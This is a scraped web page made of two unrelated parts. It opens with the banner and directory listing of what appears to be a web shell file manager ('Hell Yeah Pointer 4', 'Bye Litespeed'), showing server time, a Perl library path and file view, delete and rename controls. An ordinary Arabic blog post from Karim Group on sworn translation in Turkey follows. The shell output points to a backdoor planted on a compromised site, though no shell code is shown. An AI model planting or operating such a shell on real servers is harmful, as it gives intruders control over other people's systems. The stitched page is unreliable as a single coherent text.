Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-07 16:17:36
curdir: / / usr / share / perl5 / unicore / lib / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2025-12-03 11:13:31 0755
.. 4096 2025-12-03 11:13:31 0755
Age 4096 2025-12-03 11:13:31 0755
Alpha 4096 2025-12-03 11:13:31 0755
Bc 4096 2025-12-03 11:13:31 0755
BidiC 4096 2025-12-03 11:13:31 0755
BidiM 4096 2025-12-03 11:13:31 0755
Blk 4096 2025-12-03 11:13:31 0755
Bpt 4096 2025-12-03 11:13:31 0755
CE 4096 2025-12-03 11:13:31 0755
CI 4096 2025-12-03 11:13:31 0755
CWCF 4096 2025-12-03 11:13:31 0755
CWCM 4096 2025-12-03 11:13:31 0755
CWKCF 4096 2025-12-03 11:13:31 0755
CWL 4096 2025-12-03 11:13:31 0755
CWT 4096 2025-12-03 11:13:31 0755
CWU 4096 2025-12-03 11:13:31 0755
Cased 4096 2025-12-03 11:13:31 0755
Ccc 4096 2025-12-03 11:13:31 0755
CompEx 4096 2025-12-03 11:13:31 0755
DI 4096 2025-12-03 11:13:31 0755
Dash 4096 2025-12-03 11:13:31 0755
Dep 4096 2025-12-03 11:13:31 0755
Dia 4096 2025-12-03 11:13:31 0755
Dt 4096 2025-12-03 11:13:31 0755
Ea 4096 2025-12-03 11:13:31 0755
Ext 4096 2025-12-03 11:13:31 0755
GCB 4096 2025-12-03 11:13:31 0755
Gc 4096 2025-12-03 11:13:31 0755
GrBase 4096 2025-12-03 11:13:31 0755
Hex 4096 2025-12-03 11:13:31 0755
Hst 4096 2025-12-03 11:13:31 0755
Hyphen 4096 2025-12-03 11:13:31 0755
IDC 4096 2025-12-03 11:13:31 0755
IDS 4096 2025-12-03 11:13:31 0755
Ideo 4096 2025-12-03 11:13:31 0755
In 4096 2025-12-03 11:13:31 0755
InPC 4096 2025-12-03 11:13:31 0755
InSC 4096 2025-12-03 11:13:31 0755
Jg 4096 2025-12-03 11:13:31 0755
Jt 4096 2025-12-03 11:13:31 0755
Lb 4096 2025-12-03 11:13:31 0755
Lower 4096 2025-12-03 11:13:31 0755
Math 4096 2025-12-03 11:13:31 0755
NFCQC 4096 2025-12-03 11:13:31 0755
NFDQC 4096 2025-12-03 11:13:31 0755
NFKCQC 4096 2025-12-03 11:13:31 0755
NFKDQC 4096 2025-12-03 11:13:31 0755
Nt 4096 2025-12-03 11:13:31 0755
Nv 4096 2025-12-03 11:13:31 0755
PCM 4096 2025-12-03 11:13:31 0755
PatSyn 4096 2025-12-03 11:13:31 0755
Perl 4096 2025-12-03 11:13:31 0755
QMark 4096 2025-12-03 11:13:31 0755
SB 4096 2025-12-03 11:13:31 0755
SD 4096 2025-12-03 11:13:31 0755
STerm 4096 2025-12-03 11:13:31 0755
Sc 4096 2025-12-03 11:13:31 0755
Scx 4096 2025-12-03 11:13:31 0755
Term 4096 2025-12-03 11:13:31 0755
UIdeo 4096 2025-12-03 11:13:31 0755
Upper 4096 2025-12-03 11:13:31 0755
WB 4096 2025-12-03 11:13:31 0755
XIDC 4096 2025-12-03 11:13:31 0755
XIDS 4096 2025-12-03 11:13:31 0755
مجموعة كريم - الترجمة المحلفة في تركيا – ما هي وما أهميتها

الترجمة المحلفة في تركيا – ما هي وما أهميتها

Blog Details

الترجمة المحلفة في تركيا – ما هي وما أهميتها

تعد الترجمة من اللغة الأجنبية إلى اللغة التركية من أكثر الخدمات التي يتم طلبها في تركيا، ولا شك أن أهمية ترجمة الأوراق الرسمية والحكومية يجب أن تكون من مترجم محلف في تركيا، يمكنه أن يترجم وثائقك التي تحتاجها باللغة التركية لتيسير معاملة ما في تركيا.

لذا في هذه المقالة سنتعرف عن الترجمة المحلفة في تركيا، وما هي وما أهميتها.

 

ما هي الترجمة المحلفة في تركيا؟

تعتبر الترجمة المحلفة بأنها هي الترجمة المعتمدة والترجمة المستوفية الدقيقة للعقود والوثائق والشهادات وغيرها من الأوراق الرسمية أو الخاصة التي تحمل الطابع القانوني وفق الشروط القانونية التي تضعها الحكومة التركية، مما يسمح باستخدامها في مؤسسات الدولة، ويتم التعامل بها بشكل رسمي، مع إقرار المترجم بمسؤوليته عن دقة الوثيقة التي تمت ترجمتها من اللغة الأجنبية إلى اللغة التركية.

 

من هو المترجم المحلف؟

الترجمان المحلف في تركيا هو شخص متخرج من إحدى أقسام اللغات الأجنبية أو قسم الترجمة، ويكون المترجم المحلف في تركيا متقنا اللغة التي سيترجم لها واللغة المترجم منها، ويكون مخول من كاتب العدل للترجمة الرسمية للوثائق القانونية وختم المترجم المحلف ذات صفة رسمية في المؤسسات الحكومية في الدولة.

 

ما الذي يجب على المترجم المحلف؟

يجب على الترجمان المحلف أن يتمتع بصفات عديدة، مثل الحفاظ على سرية المعلومات التي يترجمها، والانضباط الذاتي، والموثوقية والأمانة المطلقة في نقل المعلومات من لغة إلى أخرى، بالإضافة إلى ضرورة إتقان اللغات بتفاصيلها الدقيقة ومصطلحاتها وعرفها، ومعرفة التشريعات ذات الصلة، وامتلاك القدرة على تحديد أولويات الأوصاف الوظيفية المتعددة.

 

ما هي الشروط المطلوبة لأكون مترجم محلف؟

لكي تكون مترجم محلف في تركيا عليك أن تستوفي شروط المترجم المحلف في تركيا، ومعرفة المعايير المطلوبة التي تحددها المؤسسات التركية، وهذه الشروط هي:

  • أن تكون مواطنا تركيا، أو حاملا للجنسية التركية.
  • الحصول على شهادة تخرج من أقسام اللغات الأجنبية، أو أقسام الترجمة في الجامعات التركية، أو الجامعات التي تعترف بشهادتها الحكومة التركية.
  • الحصول على وثيقة اختبار تثبت إمكانيتك في إتقان اللغة الأجنبية التي تريد أن تترجم منها إلى اللغة التركية.
  • التقديم لدى كاتب العدل بدرجة البكالوريوس وشهادة إتقان اللغة الأجنبية.
  • أن تؤدي اليمين أمام كاتب العدل.

 

ما هي أهمية الترجمة المحلفة في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

يمكنكم الحصول على خدمة الترجمة المحلفة من مجموعة كريم للاستشارات القانونية.

 

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.

 

اقرأ أيضا:

خدمة الترجمة في تركيا